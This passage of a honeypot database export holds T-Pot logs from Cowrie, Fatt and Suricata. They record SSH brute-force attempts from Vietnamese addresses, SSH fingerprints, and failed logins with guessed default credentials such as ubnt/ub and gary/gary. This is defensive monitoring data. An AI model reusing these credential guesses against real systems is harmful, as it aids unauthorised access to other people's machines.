"aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 40212, "timestamp": "2021-09-20T11:11:02.416681", "@timestamp": "2021-09-20T11:11:02.416Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25904	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:11:02.706165+03	2021-09-20 14:15:12.584644+03	{"_id": "mAbmAnwBvYTbRNuE9x03", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 40212, "dest_port": 22, "timestamp": "2021-09-20T11:11:02.706165", "@timestamp": "2021-09-20T11:11:02.706Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25905	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:11:03.370478+03	2021-09-20 14:15:12.586646+03	{"_id": "nQbmAnwBvYTbRNuE9x3M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [incoming/incoming] failed", "session": "5191d115c24d", "@version": "1", "password": "incoming", "username": "incoming", "timestamp": "2021-09-20T11:11:03.370478Z", "@timestamp": "2021-09-20T11:11:03.370Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25906	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:11:03.753093+03	2021-09-20 14:15:12.587646+03	{"_id": "pAbmAnwBvYTbRNuE-x2z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "35441b91800d", "@version": "1", "duration": 2.5875186920166016, "timestamp": "2021-09-20T11:11:03.753093Z", "@timestamp": "2021-09-20T11:11:03.753Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25907	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:11:04.129276+03	2021-09-20 14:15:12.588646+03	{"_id": "pwbmAnwBvYTbRNuE-x2z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 120 seconds", "session": "7daf9953965f", "@version": "1", "duration": 120.00283741950989, "timestamp": "2021-09-20T11:11:04.129276Z", "@timestamp": "2021-09-20T11:11:04.129Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25908	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:11:03.684345+03	2021-09-20 14:15:12.589645+03	{"_id": "pQbmAnwBvYTbRNuE-x2z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [gary/gary] failed", "session": "6118bef1b387", "@version": "1", "password": "gary", "username": "gary", "timestamp": "2021-09-20T11:11:03.684345Z", "@timestamp": "2021-09-20T11:11:03.684Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25909	192.168.176.2	109.199.241.180	Suricata	2021-09-20 14:11:04.402724+03	2021-09-20 14:15:12.590646+03	{"_id": "qAbmAnwBvYTbRNuE_R3r", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:11:04.402724+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 54}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM RST recv but no session", "signature_id": 2210041}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.176.2", "stream": 0, "dest_ip": "116.105.211.46", "flow_id": 1550205837649188, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 22, "dest_port": 38230, "timestamp": "2021-09-20T11:11:04.402724Z", "@timestamp": "2021-09-20T11:11:04.402Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
25910	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:04.794392+03	2021-09-20 14:15:12.592644+03	{"_id": "rwbmAnwBvYTbRNuE_x2d", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [ubnt/ub] failed", "session": "33f108df7e24", "@version": "1", "password": "ub", "username": "ubnt", "timestamp": "2021-09-20T11:11:04.794392Z", "@timestamp": "2021-09-20T11:11:04.794Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25911	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:10:58.029825+03	2021-09-20 14:15:12.593647+03	{"_id": "UAbmAnwBvYTbRNuE5B1A", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "76d3f2da24b9", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:10:58.029825Z", "@timestamp": "2021-09-20T11:10:58.029Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25912	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:10:58.23003+03	2021-09-20 14:15:12.594646+03	{"_id": "WgbmAnwBvYTbRNuE5B1B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "76d3f2da24b9", "@version": "1", "timestamp": "2021-09-20T11:10:58.230030Z", "@timestamp": "2021-09-20T11:10:58.230Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25913	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:10:58.504413+03	2021-09-20 14:15:12.595644+03	{"_id": "WwbmAnwBvYTbRNuE5B1B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "2d1d9cb331d3", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:10:58.504413Z", "@timestamp": "2021-09-20T11:10:58.504Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25914	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:10:58.229516+03	2021-09-20 14:15:12.597646+03	{"_id": "XQbmAnwBvYTbRNuE5h14", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1994296865669890, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 36388, "dest_port": 22, "timestamp": "2021-09-20T11:10:58.229516Z", "@timestamp": "2021-09-20T11:10:58.229Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25915	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:10:58.229562+03	2021-09-20 14:15:12.598647+03	{"_id": "YQbmAnwBvYTbRNuE5x2U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 36388, "timestamp": "2021-09-20T11:10:58.229562", "@timestamp": "2021-09-20T11:10:58.229Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25916	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:10:59.831664+03	2021-09-20 14:15:12.599645+03	{"_id": "bAbmAnwBvYTbRNuE6x19", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-